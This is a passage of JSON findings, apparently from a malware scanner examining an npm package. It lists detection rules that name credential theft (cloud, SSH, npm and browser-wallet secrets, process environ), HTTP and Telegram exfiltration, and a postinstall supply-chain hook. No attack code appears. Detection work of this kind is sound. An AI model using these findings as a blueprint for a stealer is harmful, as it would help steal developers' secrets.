            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node.js https.request",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/application/executable::browser-apps-brave",
            "conf": 0.5,
            "crit": 3,
            "desc": "Brave browser application-name token",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::developer-credential-stores",
            "atk": "T1552.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "References developer credential store paths",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              33,
              209,
              346
            ]
          },
          {
            "id": "micro-behaviors/data/decode/custom::fromcharcode-indexed-array",
            "atk": "T1140",
            "conf": 0.9,
            "crit": 3,
            "desc": "Converts indexed character codes to strings",
            "from": [
              {
                "file": 30
              }
            ]
          },
          {
            "id": "micro-behaviors/data/llm::agent-identity-coding-agent",
            "conf": 0.8,
            "crit": 1,
            "desc": "References the generic term \"coding agent\"",
            "from": [
              {
                "file": 130
              }
            ]
          },
          {
            "id": "metadata/package/files/included::npm-publish-root-manifest",
            "conf": 0.95,
            "crit": 2,
            "desc": "Manifest sits at npm publish root",
            "from": [
              {
                "file": 48
              }
            ]
          },
          {
            "id": "metadata/package/scripts/develop::pkg-dev-script-field",
            "conf": 0.6,
            "crit": 3,
            "desc": "package.json declares a development script"
          },
          {
            "id": "micro-behaviors/data/serialize/envelope::command-assignment-key",
            "conf": 0.4,
            "crit": 1,
            "desc": "Command field or assignment key",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/performance/monitoring::node-process-memory-usage",
            "conf": 0.95,
            "crit": 3,
            "desc": "Reads Node.js process memory usage",
            "from": [
              {
                "file": 38
              }
            ]
          },
          {
            "id": "metadata/build/ci/step::npm-publish-workflow",
            "conf": 0.94,
            "crit": 3,
            "desc": "NPM publish GitHub Actions workflow",
            "from": [
              {
                "file": 178
              },
              {
                "file": 179
              },
              {
                "file": 180
              }
            ],
            "uses": [
              21,
              79,
              385
            ]
          },
          {
            "id": "micro-behaviors/fs/file/copy::python-exists-and-copy",
            "conf": 0.96,
            "crit": 3,
            "desc": "Python checks path before copying"
          },
          {
            "id": "micro-behaviors/process/create/spawn::stdio-ignore",
            "mbc": "F0005",
            "conf": 0.85,
            "crit": 3,
            "desc": "Spawns a child with standard I/O ignored",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/post::post",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.7,
            "crit": 1,
            "desc": "HTTP POST method string literal",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/cloud::aws-credentials-path-components",
            "atk": "T1552.005",
            "mbc": "T1552.005",
            "conf": 0.92,
            "crit": 3,
            "desc": "AWS credentials path components",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/process/exit/trap::shell-exit-trap",
            "conf": 0.85,
            "crit": 3,
            "desc": "Shell EXIT trap handler",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::platform-full",
            "atk": "T1082",
            "conf": 0.7,
            "crit": 3,
            "desc": "platform.platform() full info"
          },
          {
            "id": "micro-behaviors/communications/http/url/forge::public-code-forge-url",
            "conf": 0.9,
            "crit": 3,
            "desc": "References a public code-forge URL",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::orchestration-credentials",
            "atk": "T1552.001",
            "conf": 0.94,
            "crit": 3,
            "desc": "Orchestration credential paths",
            "from": [
              {
                "file": 3
              },
              {
                "off": 32609,
                "file": 12,
                "line": 898
              }
            ],
            "uses": [
              73,
              450
            ]
          },
          {
            "id": "micro-behaviors/fs/path/location::home-hidden-dotdir-ref",
            "conf": 0.6,
            "crit": 3,
            "desc": "Home-relative hidden directory path literal"
          },
          {
            "id": "micro-behaviors/crypto/library/provider::create-hmac",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node crypto HMAC creation",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "well-known/tool/detection/security-scanner::defensive-threat-signature-doc",
            "conf": 0.95,
            "crit": 1,
            "desc": "Defensive threat signature documentation",
            "from": [
              {
                "file": 130
              }
            ]
          },
          {
            "id": "micro-behaviors/process/fd/stdio::stderr-string",
            "conf": 0.3,
            "crit": 2,
            "desc": "References the stderr stream name",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/executable/mode::node-chmod-exec-mode-755",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node chmod sets 0o755 executable mode",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/url/reference::javascript-comment-url-reference",
            "conf": 0.9,
            "crit": 1,
            "desc": "JavaScript comment contains a URL",
            "from": [
              {
                "file": 39
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::service-credential-env-var",
            "conf": 0.86,
            "crit": 3,
            "desc": "Reads secret-like credential env variable",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/llm::ai-agent-term-reference",
            "conf": 0.8,
            "crit": 1,
            "desc": "References the phrase \"AI agent\"",
            "from": [
              {
                "file": 111
              }
            ]
          },
          {
            "id": "objectives/collection/file-targeting/filter::credential-file-extension",
            "atk": "T1005,T1083",
            "conf": 0.92,
            "crit": 1,
            "desc": "Credential-like filename extension",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::readfilesync-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls readFileSync",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/llm::ultrathink-thinking-budget-keyword",
            "conf": 0.9,
            "crit": 3,
            "desc": "References Claude Code extended-thinking keyword",
            "from": [
              {
                "file": 121
              }
            ]
          },
          {
            "id": "micro-behaviors/data/decode/base64::long-base64-blob-decode-pair",
            "conf": 0.92,
            "crit": 3,
            "desc": "JavaScript decodes a long embedded Base64 blob",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              20,
              421
            ]
          },
          {
            "id": "objectives/credential-access/wallet/keywords::wallets-word",
            "conf": 0.5,
            "crit": 1,
            "desc": "Wallets keyword",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/delete::iterative-file-deletion",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.88,
            "crit": 3,
            "desc": "Iteratively deletes files from directory",
            "from": [
              {
                "file": 21
              }
            ],
            "uses": [
              42,
              240
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-drop-object",
            "conf": 0.8,
            "crit": 3,
            "desc": "DROP SQL object syntax reference",
            "from": [
              {
                "file": 37
              }
            ]
          },
          {
            "id": "micro-behaviors/ui/terminal::ansi-sgr-color-sequence",
            "conf": 0.95,
            "crit": 3,
            "desc": "Encoded ANSI terminal color control",
            "from": [
              {
                "file": 17
              }
            ]
          },
          {
            "id": "micro-behaviors/os/console/io::dense-stderr-suppression",
            "conf": 0.85,
            "crit": 3,
            "desc": "Dense stderr suppression pattern"
          },
          {
            "id": "micro-behaviors/data/serialize/object-schema::host-field-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "JSON-like host identity field",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/credential-access/theft/multi-app::browser-wallet-stealer",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.95,
            "crit": 4,
            "desc": "Browser data with wallet targeting",
            "from": [
              {
                "file": 3
              },
              {
                "off": 8211,
                "file": 12,
                "line": 232
              }
            ],
            "uses": [
              72,
              118,
              171,
              191,
              323
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/pipeline::multiple-credential-store-sources",
            "atk": "T1041",
            "mbc": "E1041",
            "conf": 0.95,
            "crit": 4,
            "desc": "Multiple developer credential store sources",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              75,
              143,
              457
            ]
          },
          {
            "id": "metadata/package/testing/scripted::coverage-markers-a",
            "conf": 1.0,
            "crit": 2,
            "desc": "Coverage marker family A",
            "from": [
              {
                "off": 956,
                "file": 18,
                "line": 51
              },
              {
                "off": 1124,
                "file": 19,
                "line": 62
              },
              {
                "off": 2134,
                "file": 43,
                "line": 83
              }
            ],
            "uses": [
              350
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-http-request-configured-any",
            "atk": "T1041",
            "conf": 0.9,
            "crit": 1,
            "desc": "Node HTTP request has explicit options",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              401
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/path::js-url-host-read",
            "conf": 0.8,
            "crit": 3,
            "desc": "Reads hostname from URL variable",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/write/file/direct::write-file-sync",
            "conf": 0.95,
            "crit": 3,
            "desc": "Node fs writes to a file synchronously",
            "from": [
              {
                "file": 6
              }
            ]
          },
          {
            "id": "metadata/package/testing/harness/runtime::test-basename-pattern",
            "conf": 1.0,
            "crit": 2,
            "desc": "Node.js test filename pattern",
            "from": [
              {
                "off": 0,
                "file": 8,
                "line": 1
              },
              {
                "off": 0,
                "file": 28,
                "line": 1
              },
              {
                "off": 0,
                "file": 29,
                "line": 1
              },
              {
                "off": 0,
                "file": 40,
                "line": 1
              },
              {
                "off": 0,
                "file": 41,
                "line": 1
              }
            ],
            "uses": [
              335
            ]
          },
          {
            "id": "micro-behaviors/process/fd/stdio::stdout-string",
            "conf": 0.3,
            "crit": 2,
            "desc": "References the stdout stream name",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/git::git-rev-parse-dir",
            "conf": 0.9,
            "crit": 3,
            "desc": "Queries Git repository directory",
            "from": [
              {
                "file": 7
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-linux-branch",
            "conf": 0.7,
            "crit": 2,
            "desc": "Branches on Linux platform value",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/data/string/replace::chained-replace-calls",
            "conf": 0.9,
            "crit": 3,
            "desc": "Chains multiple JavaScript string replacements",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::cwd-reference",
            "conf": 0.84,
            "crit": 1,
            "desc": "References the Node.js current working directory",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/delete::fs-unlinkSync",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.9,
            "crit": 2,
            "desc": "Deletes a file synchronously with fs.unlinkSync",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::process-platform-member",
            "conf": 0.8,
            "crit": 3,
            "desc": "Reads the Node.js process.platform value",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/data/format/html::html-heading-tag",
            "conf": 0.85,
            "crit": 3,
            "desc": "Markdown contains an HTML h1 heading",
            "from": [
              {
                "file": 138
              }
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::createDecipheriv",
            "mbc": "C0027",
            "conf": 0.85,
            "crit": 3,
            "desc": "Creates decipher with initialization vector",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/os/package-manager/publish::package-manifest-version-bump",
            "conf": 0.94,
            "crit": 3,
            "desc": "Updates a package manifest version field",
            "from": [
              {
                "file": 6
              }
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/pipeline::npm-supply-chain-attack",
            "atk": "T1195.001",
            "conf": 0.95,
            "crit": 5,
            "desc": "npm package CI/CD token exfiltration",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              141,
              313
            ]
          },
          {
            "id": "objectives/credential-access/browser/chromium::password-sql",
            "atk": "T1555.003",
            "mbc": "B0028",
            "conf": 0.95,
            "crit": 4,
            "desc": "Chromium Login Data SQL query",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::aws-config",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 3,
            "desc": "AWS config file path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-portuguese--atom-4",
            "conf": 0.8,
            "crit": 1,
            "desc": "Portuguese function-word token \"vocês\"",
            "from": [
              {
                "file": 78
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/chmod/executable/mode::chmod-exec-var-target",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.9,
            "crit": 3,
            "desc": "chmod marks a variable path executable",
            "from": [
              {
                "file": 176
              }
            ]
          },
          {
            "id": "objectives/credential-access/wallet/solana::solana-keypair-reference",
            "atk": "T1555",
            "conf": 0.85,
            "crit": 1,
            "desc": "Solana keypair reference",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/crypto/symmetric/aes/runtime-library::createCipheriv",
            "mbc": "C0027",
            "conf": 0.85,
            "crit": 3,
            "desc": "Creates cipher with initialization vector",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/cwd::python-os-getcwd",
            "conf": 0.9,
            "crit": 3,
            "desc": "Calls Python os.getcwd"
          },
          {
            "id": "micro-behaviors/communications/socket/receive::node-socket-data-event",
            "atk": "T1071",
            "mbc": "C0001",
            "conf": 0.78,
            "crit": 3,
            "desc": "Node socket data event handler",
            "from": [
              {
                "file": 33
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::execSync-call",
            "atk": "T1059",
            "mbc": "C0017",
            "conf": 0.85,
            "crit": 3,
            "desc": "Runs shell commands synchronously with execSync",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/import/builtin::require-https",
            "conf": 0.78,
            "crit": 3,
            "desc": "Imports the Node.js HTTPS module",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/write/file/direct::append-file-sync",
            "conf": 0.95,
            "crit": 3,
            "desc": "Node fs appends to a file synchronously",
            "from": [
              {
                "file": 6
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::node-platform-method-call",
            "conf": 0.75,
            "crit": 3,
            "desc": "Calls a Node OS platform method",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/archive/extract/tar::tar-extract",
            "atk": "T1560.001",
            "conf": 0.78,
            "crit": 3,
            "desc": "tar extraction command usage"
          },
          {
            "id": "micro-behaviors/os/env/vars/access::js-object-entries-env",
            "conf": 0.75,
            "crit": 2,
            "desc": "JavaScript enumerates process.env entries",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::read-node",
            "conf": 0.9,
            "crit": 3,
            "desc": "Reads files with Node.js",
            "from": [
              {
                "file": 6
              }
            ]
          },
          {
            "id": "micro-behaviors/crypto/library/blockchain/transaction::solana-library-reference",
            "conf": 0.8,
            "crit": 3,
            "desc": "Solana blockchain library reference",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "metadata/import/builtin::require-os",
            "conf": 0.7,
            "crit": 2,
            "desc": "Imports the Node.js os module",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::google-cloud-credential-env-read",
            "conf": 0.9,
            "crit": 3,
            "desc": "Reads Google credential environment variable",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "metadata/package/manifest/entrypoint::bin-field-declared",
            "conf": 0.95,
            "crit": 1,
            "desc": "Manifest declares a bin entry"
          },
          {
            "id": "micro-behaviors/data/serialize/yaml::javascript-yaml-parser-import",
            "conf": 0.9,
            "crit": 3,
            "desc": "Imports JavaScript YAML parser",
            "from": [
              {
                "file": 16
              }
            ]
          },
          {
            "id": "objectives/credential-access/files/config::developer-credential-file-read",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.92,
            "crit": 3,
            "desc": "Reads a referenced developer credential file",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              310,
              329
            ]
          },
          {
            "id": "micro-behaviors/fs/path/location::node-homedir-hidden-entry",
            "conf": 0.92,
            "crit": 3,
            "desc": "Node builds a hidden home-directory path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/user/query::os-userinfo-call",
            "atk": "T1033",
            "conf": 0.8,
            "crit": 3,
            "desc": "os.userInfo() user query",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/write/runtime::bun-write-file",
            "conf": 0.9,
            "crit": 3,
            "desc": "Bun file-write API call",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/redirect::shell-file-write-command",
            "conf": 0.86,
            "crit": 3,
            "desc": "Shell command redirects output to file",
            "from": [
              {
                "off": 2067,
                "file": 176,
                "line": 58
              },
              {
                "off": 784,
                "file": 177,
                "line": 29
              }
            ],
            "uses": [
              509
            ]
          },
          {
            "id": "metadata/build/ci/secret::step-environment-secret-reference",
            "conf": 0.95,
            "crit": 3,
            "desc": "Step environment references an Actions secret"
          },
          {
            "id": "micro-behaviors/data/control-flow/module-exec::module-level-side-effect-call",
            "conf": 0.82,
            "crit": 3,
            "desc": "Python module-level function call"
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs--buildkite",
            "conf": 0.92,
            "crit": 3,
            "desc": "CI provider environment reference (BUILDKITE)",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/local::node-exec-child-process-binding",
            "conf": 0.94,
            "crit": 1,
            "desc": "Binds Node child_process exec",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              142
            ]
          },
          {
            "id": "micro-behaviors/process/create/direct::bun-spawn-call",
            "atk": "T1059.007",
            "mbc": "C0017",
            "conf": 0.9,
            "crit": 3,
            "desc": "Bun spawns an external process",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/filtered-access::env-filter-method",
            "atk": "T1552.001",
            "conf": 0.82,
            "crit": 1,
            "desc": "process.env adjacent to filter or match",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-portuguese--atom-1",
            "conf": 0.8,
            "crit": 1,
            "desc": "Portuguese function-word token \"não\"",
            "from": [
              {
                "file": 78
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/ipc/message::node-cluster-ipc",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node.js Cluster IPC messaging",
            "from": [
              {
                "off": 15351,
                "file": 14,
                "line": 478
              }
            ],
            "uses": [
              126,
              293
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::node-http-request-end-body",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.84,
            "crit": 3,
            "desc": "Node HTTP request sends a body with end()",
            "from": [
              {
                "off": 17407,
                "file": 12,
                "line": 486
              }
            ],
            "uses": [
              135,
              480
            ]
          },
          {
            "id": "metadata/file/string/cloud::gcp-default-credentials",
            "conf": 0.8,
            "crit": 2,
            "desc": "GCP default credential filename",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/evented::node-evented-get-response",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node get call receives an evented response",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/runtime/keywords::pipe-to-node",
            "conf": 0.88,
            "crit": 1,
            "desc": "Pipe to Node.js runtime token",
            "from": [
              {
                "file": 15
              }
            ]
          },
          {
            "id": "micro-behaviors/process/hook/event::process-on-unhandled-rejection",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node process unhandledRejection handler",
            "from": [
              {
                "file": 31
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/accept::accept-json-header",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.95,
            "crit": 3,
            "desc": "Requests a JSON HTTP response",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/encode/char-code::fromcharcode-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "Builds characters with String.fromCharCode",
            "from": [
              {
                "file": 30
              }
            ]
          },
          {
            "id": "micro-behaviors/process/interpreter/shell::bin-sh",
            "conf": 0.6,
            "crit": 3,
            "desc": "/bin/sh shell interpreter path reference",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credential-filenames::developer-credential-path-list",
            "conf": 0.96,
            "crit": 3,
            "desc": "Multiple developer credential path references",
            "from": [
              {
                "off": 58298,
                "file": 3,
                "line": 7
              },
              {
                "off": 32542,
                "file": 12,
                "line": 898
              }
            ],
            "uses": [
              33,
              73,
              82,
              122,
              147,
              167,
              194,
              209,
              247,
              280,
              289,
              304,
              330,
              331,
              333,
              343,
              346,
              365,
              375,
              450,
              457
            ]
          },
          {
            "id": "micro-behaviors/data/format/locale::js-locale-formatting-call",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript locale-aware formatting call",
            "from": [
              {
                "file": 37
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::terraform-credentials",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 4,
            "desc": "Terraform Cloud credentials file",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/path/construct::node-modules-package-data-path-reference",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node path references package data file",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/error-handling::silent-error-handler",
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript emitter discards errors",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "micro-behaviors/data/llm::system-role-marker",
            "conf": 0.72,
            "crit": 1,
            "desc": "LLM system-role value",
            "from": [
              {
                "file": 130
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/ipc/message::js-event-on-message",
            "conf": 0.8,
            "crit": 1,
            "desc": "JavaScript 'message' event listener",
            "from": [
              {
                "file": 14
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/read::package-json-path-join",
            "conf": 0.84,
            "crit": 1,
            "desc": "Joins a path containing package.json",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/browser::js-browser-wallet-stealer-source",
            "atk": "T1041",
            "conf": 0.94,
            "crit": 3,
            "desc": "Browser or wallet credential source",
            "from": [
              {
                "file": 3
              },
              {
                "off": 9770,
                "file": 12,
                "line": 273
              }
            ],
            "uses": [
              228
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::host-system-metric-schema",
            "conf": 0.93,
            "crit": 3,
            "desc": "Host recon fields: hostname, platform, arch",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::test-directory-path",
            "conf": 1.0,
            "crit": 1,
            "desc": "File is in common test directory",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "metadata/package/manifest/entrypoint::main-runtime-tree-entrypoint",
            "conf": 0.85,
            "crit": 2,
            "desc": "Package main targets runtime tree"
          },
          {
            "id": "objectives/credential-access/files/config::login-secret-file-paths",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.9,
            "crit": 1,
            "desc": "Login secret file paths",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              }
            ],
            "uses": [
              175
            ]
          },
          {
            "id": "micro-behaviors/data/encode/hex::js-to-string-hex",
            "conf": 0.95,
            "crit": 3,
            "desc": "Calls JavaScript toString with hex encoding",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "objectives/credential-access/dump/process::proc-environ-harvest",
            "atk": "T1003.007",
            "conf": 0.88,
            "crit": 4,
            "desc": "Targets process environ with secret context",
            "from": [
              {
                "file": 3
              },
              {
                "off": 31048,
                "file": 12,
                "line": 863
              },
              {
                "off": 17895,
                "file": 14,
                "line": 554
              }
            ],
            "uses": [
              102,
              216,
              276,
              478
            ]
          },
          {
            "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords",
            "conf": 0.86,
            "crit": 1,
            "desc": "Container engine name literal present",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              434
            ]
          },
          {
            "id": "objectives/supply-chain/credential-theft/registry::npmrc-base64-encode",
            "atk": "T1552.001",
            "conf": 0.9,
            "crit": 4,
            "desc": "Encodes NPM registry credentials as Base64",
            "from": [
              {
                "file": 3
              },
              {
                "off": 8955,
                "file": 12,
                "line": 248
              }
            ],
            "uses": [
              53,
              169
            ]
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/credentials::ssh-dir",
            "atk": "T1552.001",
            "conf": 0.95,
            "crit": 2,
            "desc": ".ssh directory path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-credential-filter",
            "conf": 0.9,
            "crit": 3,
            "desc": "Python env membership credential marker"
          },
          {
            "id": "micro-behaviors/process/create/shell/bridge::js-execsync-cmd-arg",
            "conf": 0.9,
            "crit": 3,
            "desc": "execSync called with cmd variable",
            "from": [
              {
                "file": 6
              }
            ]
          },
          {
            "id": "objectives/credential-access/credential-manager/store-api::vault-token-sources",
            "atk": "T1552.001",
            "mbc": "E1552",
            "conf": 0.88,
            "crit": 3,
            "desc": "HashiCorp Vault token source references"
          },
          {
            "id": "micro-behaviors/fs/chmod/executable/mode::node-chmod-exec-mode-string-755",
            "atk": "T1222",
            "mbc": "E1222",
            "conf": 0.9,
            "crit": 3,
            "desc": "Node chmod sets string 0755 executable mode",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "metadata/build/ci/secret::action-secret-input",
            "conf": 0.95,
            "crit": 3,
            "desc": "Action input references workflow secret"
          },
          {
            "id": "objectives/credential-access/files/config::developer-credential-file-source",
            "atk": "T1552.001",
            "mbc": "B0029",
            "conf": 0.92,
            "crit": 1,
            "desc": "References a developer credential file",
            "from": [
              {
                "file": 3
              },
              {
                "off": 32515,
                "file": 12,
                "line": 898
              }
            ],
            "uses": [
              73,
              131,
              181,
              383,
              405
            ]
          },
          {
            "id": "micro-behaviors/communications/http/response-code::source-http-200-status",
            "atk": "T1190",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Source compares HTTP status to 200"
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-insert",
            "conf": 0.8,
            "crit": 3,
            "desc": "Contains an SQL INSERT statement",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "objectives/exfiltration/messaging/telegram::telegram-archive-sensitive-source",
            "atk": "T1567",
            "conf": 0.9,
            "crit": 1,
            "desc": "Sensitive collection or operator token beside Telegram archive upload",
            "from": [
              {
                "off": 58298,
                "file": 3,
                "line": 7
              },
              {
                "off": 32542,
                "file": 12,
                "line": 898
              }
            ],
            "uses": [
              33,
              73,
              122,
              147,
              176,
              194,
              247,
              289,
              304,
              330,
              331,
              365,
              375,
              450
            ]
          },
          {
            "id": "objectives/exfiltration/http/upload::node-collect-exfil",
            "atk": "T1041",
            "conf": 0.9,
            "crit": 4,
            "desc": "Host profile serialized near HTTP body",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              25,
              231,
              374,
              406,
              460
            ]
          },
          {
            "id": "objectives/supply-chain/install-hook/scripts/lifecycle::has-postinstall",
            "atk": "T1195.002",
            "conf": 0.85,
            "crit": 3,
            "desc": "Has postinstall script hook"
          },
          {
            "id": "objectives/persistence/login/python-startup::python-site-packages-enumeration",
            "atk": "T1546",
            "conf": 0.95,
            "crit": 3,
            "desc": "Python enumerates site package paths"
          },
          {
            "id": "micro-behaviors/communications/http/auth::access-token-field-reference",
            "conf": 0.96,
            "crit": 3,
            "desc": "Access-token field reference",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/url/path::telemetry-api-path",
            "conf": 0.78,
            "crit": 3,
            "desc": "Telemetry endpoint URL path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/cpu::node-cpu-information-query",
            "conf": 0.9,
            "crit": 3,
            "desc": "Queries Node CPU information",
            "from": [
              {
                "file": 14
              }
            ]
          },
          {
            "id": "micro-behaviors/process/control/kill::process-existence-probe",
            "conf": 0.91,
            "crit": 3,
            "desc": "Tests whether a process is alive",
            "from": [
              {
                "file": 177
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/access::python-os-getenv-call",
            "conf": 0.92,
            "crit": 3,
            "desc": "Python reads an environment variable"
          },
          {
            "id": "micro-behaviors/fs/path/sensitive/browser::chromium-local-extension-settings-path",
            "atk": "T1555.003",
            "conf": 0.78,
            "crit": 3,
            "desc": "Chromium Local Extension Settings path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/discovery/host/browser/identity::browser-data-files",
            "atk": "T1217",
            "conf": 0.7,
            "crit": 3,
            "desc": "Browser data file references",
            "from": [
              {
                "file": 3
              },
              {
